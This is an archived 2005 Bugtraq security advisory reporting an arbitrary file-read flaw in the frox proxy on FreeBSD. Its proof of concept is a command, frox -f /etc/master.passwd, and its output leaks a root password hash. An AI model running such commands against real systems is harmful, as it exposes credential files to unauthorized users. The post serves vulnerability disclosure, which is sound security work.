bugtraq - File aribitary read access in frox

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050901044557.4015.qmail@securityfocus.com>
Date: 1 Sep 2005 04:45:57 -0000
From: un4m31@...il.com
To: bugtraq@...urityfocus.com
Subject: File aribitary read access in frox

=( c1zc0 Security advisory #1 )=
=( Frox transparent froxy / cache )=
=( found by rotor irc.efnet.org #c1zc0 )=
=( http://c1zc0.com - c1zc0 Security 2005 )=

Package: frox
Frox Author: James Hollingshead 
Download Site: http://frox.sourceforge.net
Vulnrability: File aribitary read access

Frox is a transparent proxy/cache system for FreeBSD
with the options to be setuid root or be ran as root.
Frox has a security risk which allows any user to read
protected files on the system. This is because of the
way frox handles the loading of configuration files.
The problem exists in the -f option ( which specifies the configuration file):

POC:

q(rotor@...0r.0daysecurity.com)
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option 
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::0:0:Charlie" 
at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotor@...0r.0daysecurity.com)
mq(/usr/local/sbin)-> 

Vender Has not Been Notified.